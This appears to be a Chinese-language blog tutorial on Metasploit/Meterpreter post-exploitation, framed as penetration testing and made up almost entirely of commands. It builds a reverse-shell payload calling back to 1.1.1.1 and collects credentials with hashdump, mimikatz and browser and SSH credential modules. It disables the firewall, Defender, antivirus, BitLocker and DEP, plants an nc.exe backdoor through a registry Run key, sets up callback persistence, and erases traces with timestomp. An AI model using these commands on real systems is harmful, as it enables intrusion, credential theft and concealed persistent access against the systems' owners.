后渗透阶段是对已经获得目标操作系统控制权后扩大战果
首先构造一个payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
已经找到一台机器执行了我的payload
进一步获取更高的权限。
查看系统信息
sysinfo
查看用户权限
getuid
查看网络环境
run get_local_subnets
查看内核
uname -a
查看版本
cat /etc/issue
一些常用的post模块 1.判断目标机是否为虚拟机
run post/windows/gather/checkvm
2.查看目标主机的账号和token
run post/windows/gather/credentials/credential_collector
3.查看目标机的安装软件
run post/windows/gather/enum_applications
4.本地提权测试模块
假如拿到的权限并不是管理员系统权限,又不知道是否存在本地提权的漏洞,就可以选择如下模块进行测试
run post/multi/recon/local_exploit_suggester
它会自动将所有的可以测试的本地提权的漏洞走一遍,然后将可行的罗列出来。
5.查看最近打开的文件
run post/windows/gather/dumplinks
6.查看关于火狐浏览器登陆的web appliaction 账号密码
假设目标系统安装了火狐浏览器,并将账号密码设置为保存在浏览器中
run post/multi/gather/firefox_creds
7.ssh保存账号查看
run post/multi/gather/ssh_creds
8.检测系统上的一个程序是否为恶意软件 例如:
run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe
9.收集系统上的密码hash(需要管理员权限)
run post/windows/gather/smart_hashdump
10.查看目标机登录的用户
run post/windows/gather/enum_logged_on_users
11.收集目标机登录的凭据
run post/windows/gather/credentials/credential_collector
12.查看目标机分区情况
run post/windows/gather/forensics/enum_drives
13.获取浏览器缓存文件
run post/windows/gather/enum_ie
将会把收集的目标机器信息下载到本地
run winneum
run scraper
需要查看更多命令操作,可查看文章资料[1]
getsystem
用来获取系统账户的用户名和密码的哈希值
hashdump
idletime
search命令
例如搜索主机的全部.ini文件
search -f *.ini
搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸,所以在指定的目录下搜索。 例如:
search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.pdf
需要获得system权限
load mimikatz
load的新命令如下:
wdigest
kerberos
msv
ssp
tspkg
ivessp
上面的这些都和系统的账号有关系 mimikatz_command -f 无法获取帮助,却能从报错信息中获取使用方法
查看系统运行服务
mimikatz_command -f service::list
查看系统进程
mimikatz_command -f process::list
可以通过报错获取更多命令提示
前提:已经通过漏洞拿到了目标主机的管理员权限的shell.
使用如下命令关闭防火墙
shell
netsh advfirewall set allprofiles state off
查看一下,关闭成功
进一步结束Windefend
net stop windefend //netstop 用来结束windows的服务
在windows下查看服务情况
win+r 运行services.msc
首先进入命令提示符
execute -f cmd -i -H //隐蔽的方式打开shell
查看防火墙的状态
netsh firewall show opmode
增加一条允许策略
netsh firewall add portopening TCP 4444 "test" ENABLE ALL
//关于名称test可以设置为一个具有隐蔽性的名称,可以从防火墙的策略中摘取名称,
达到掩饰目的
在meterpreter的命令符下输入
Run killav
也可以直接使用post模块
run post/windows/manage/killav
run post/windows/manage/enable_rdp
开启远程桌面服务
run getgui –e
添加远程桌面用户和密码
run getgui -u user -p pass
screenshot
或者使用插件
load espia //加载插件
screengrab //截取屏幕
注册表
例如: 已经拿到了目标主机的merterpreter的权限,我们通过修改注册表,使得每次目标主机开机的时候都会运行我们上传到目标主机的nc.exe,方便对目标主机进行监控。 1.上传nc.exe到目标主机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 //传送到了系统目录下
2.查看注册表中默认跟随主机启动的内容
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run //reg 是merterpreter中专门查看修改注册表的命令
3.添加一个键值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
//setval参数为添加或者修改某个键值
// -Ldp L参数为侦听,d表示在后台,p表示为端口
// 合起来就是在注册表的未知添加键值,内容是执行目录下的nc.exe,后台打开cmd.exe,监听444端口,等待连接。
执行成功后查看插入成功。
也可以用如下命令
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
// queryval为查询
其他注册表选项[2]
Bitlocker 磁盘加密,有的电脑的加密文件是被加密封存,Bitlocker加密就是一种,集成在 windows系统软件系统中。
关掉目标主机的磁盘加密:
manage-bde -off C:
查看磁盘加密状态:
manage-bde -status C:
DEP是一种基于硬件的防护cpu防护技术。关闭DEPk可以容易的攻破敌方的防御。 可以使用如下命令
bcdedit.exe /set {current} nx AlwaysOff
在对目标系统文件进行操作的时候,会留下关于文件操作的时间,包含创建时间,修改时间,改变时间
顾名思义,系统管理员可以通过这三个时间的信息来查看文件是否被改变,何时改变,判断系统是否被入侵。
对于渗透测试,当然希望能够将改动的痕迹抹除。
可以用stat - 文件名
来查看文件时间的详细信息。
Timestomp Timestomp 是merterpreter 查看修改文件改动时间的命令。 查看文件的具体时间
timestomp -v 1.txt
相比于stat命令,多了Entry Modified: 2020-07-22 22:51:39 -0400
将一个文件的MAC时间改为按照另一个文件的MAC时间复制
timestomp -f c:\\autoexec.bat 1.txt
时间具体修改参数
-m //修改Modified时间
-a //修改Accessed时间
-c //修改Created 时间
-e //修改 Entry Modified时间
-z //四个时间全部修改
例如:
timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt
一般情况下,payLoad都有高级参数,里面存在一个advanced的高级选项。
可以看到有一个 AutoRunScript
参数,这个参数就是在执行payload后,立刻执行脚本。
例如:set AutoRunScript migrate -n explorer.exe
这个语句的意思就是一旦拿到shell,立刻将进程迁移到explorer.exe中,避免注入的有毒exe被杀死后,shell丢失。
或者其他脚本,例如,立刻查看目标主机最近打开的文件
set AutoRunScript post/windows/gather/dumplinks
如果先后有执行顺序的两个脚本,可以在InitialAutoRunScript
选项内添加一个最先执行的脚本。
修改hosts文件
run hostsedit -e 1.1.1.1,www.baidu.com
run metsvc -A // 删除 -r
这个命令直接会生成系统的进程,名称为metsvc.exe,监听31337端口 并且开机会自己启动,但是缺点就是端口不能自己配置,上传的exe文件也不能更改名称。
连接后门
set PAYLOAD windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 1.1.1.1
卡了好久都没拿到shell,这个模块估计是不宰维护了
查看一下参数的配置项
-A 默认的连接方式为exploit/multi/handler
-S 作为一个系统服务进程工作在系统上
-X 自动执行当系统开机
-i 延迟时间,当服务运行后隔n秒执行回连
-p 端口
-r 回连的ip地址,也就是kali的地址
示例:
run persistence -X -i 10 -p 4444 -r 1.1.1.1
run persistence -U -i 20 -p 4444 -r 1.1.1.1
run persistence -S -i 20 -p 4444 -r 1.1.1.1
[1]常规操作详细:: "https://blog.csdn.net/Yu_csdnstory/article/details/107441171"
[2]其他注册表详情: https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart